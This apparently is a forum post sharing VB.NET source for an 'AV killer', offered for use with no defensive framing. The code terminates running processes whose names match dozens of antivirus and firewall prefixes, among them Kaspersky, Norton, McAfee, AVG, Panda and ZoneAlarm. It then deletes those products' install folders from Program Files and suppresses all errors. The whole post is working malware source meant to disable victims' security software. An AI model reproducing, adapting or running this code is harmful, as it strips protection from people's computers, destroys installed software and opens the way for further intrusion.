AV killer .NET

[SPIFO]

Спойлер: KOD

Sub avkiller()

kp("av")
kp("fire")
kp("anti")
kp("spy")
kp("bullguard")
kp("PersFw")
kp("KAV")
kp("ZONEALARM")
kp("SAFEWEB")
kp("OUTPOST")
kp("nv")
kp("nav")
kp("F-")
kp("ESAFE")
kp("cle")
kp("BLACKICE")
kp("def")
kp("kav")
kp("avg")
kp("ash")
kp("aswupdsv")
kp("ewid")
kp("guar")
kp("gcasDt")
kp("msm")
kp("mcafe")
kp("mghtml")
kp("msiexec")
kp("outpost")
kp("isafe")
kp("zap")
kp("zauinst")
kp("upd")
kp("zlclien")
kp("minilog")
kp("cc")
kp("norton")
kp("norton au")
kp("ccc")
kp("npfmn")
kp("loge")
kp("nisum")
kp("issvc")
kp("tmp")
kp("tmn")
kp("pcc")
kp("cpd")
kp("pop")
kp("pav")
kp("padmin")
kp("panda")
kp("avsch")
kp("sche")
kp("syman")
kp("virus")
kp("realm")
kp("sweep")
kp("scan")
kp("ad-")
kp("safe")
kp("avas")
kp("norm")
kp("offg")
'Deleting Anti-Virus Files
Try
System.IO.Directory.Delete("C:\Program Files\alwils~1")
System.IO.Directory.Delete("C:\Program Files\Lavasoft\Ad-awa~1")
System.IO.Directory.Delete("C:\Program Files\kasper~1")
System.IO.Directory.Delete("C:\Program Files\trojan~1")
System.IO.Directory.Delete("C:\Program Files\f-prot95")
System.IO.Directory.Delete("C:\Program Files\tbav")
System.IO.Directory.Delete("C:\Program Files\avpersonal")
System.IO.Directory.Delete("C:\Program Files\Norton~1")
System.IO.Directory.Delete("C:\Program Files\Mcafee")
System.IO.Directory.Delete("C:\Program Files\Norton~1\Norton~1\Norton~3")
System.IO.Directory.Delete("C:\Program Files\Norton~1\Norton~1\speedd~1")
System.IO.Directory.Delete("C:\Program Files\Norton~1\Norton~1")
System.IO.Directory.Delete("C:\Program Files\Norton~1")
System.IO.Directory.Delete("C:\Program Files\avgamsr")
System.IO.Directory.Delete("C:\Program Files\avgamsvr")
System.IO.Directory.Delete("C:\Program Files\avgemc")
System.IO.Directory.Delete("C:\Program Files\avgcc")
System.IO.Directory.Delete("C:\Program Files\avgupsvc")
System.IO.Directory.Delete("C:\Program Files\grisoft")
System.IO.Directory.Delete("C:\Program Files\grisoft")
System.IO.Directory.Delete("C:\Program Files\nood32")
System.IO.Directory.Delete("C:\Program Files\nod32")
System.IO.Directory.Delete("C:\Program Files\nood32")
System.IO.Directory.Delete("C:\Program Files\kav")
System.IO.Directory.Delete("C:\Program Files\kavmm")
System.IO.Directory.Delete("C:\Program Files\kaspersky")
System.IO.Directory.Delete("C:\Program Files\ewidoctrl")
System.IO.Directory.Delete("C:\Program Files\guard")
System.IO.Directory.Delete("C:\Program Files\ewido")
System.IO.Directory.Delete("C:\Program Files\pavprsrv")
System.IO.Directory.Delete("C:\Program Files\pavprot")
System.IO.Directory.Delete("C:\Program Files\avengine")
System.IO.Directory.Delete("C:\Program Files\apvxdwin")
System.IO.Directory.Delete("C:\Program Files\webproxy")
System.IO.Directory.Delete("C:\Program Files\panda software")
Catch ex As Exception
End Try
End Sub
Public Function kp(name As String) As Boolean
For Each clsProcess As Process In Process.GetProcesses()
If clsProcess.ProcessName.StartsWith(name) Then
Try
clsProcess.Kill()
Catch
Return False
End Try
Return True
End If
Next
Return False
End Function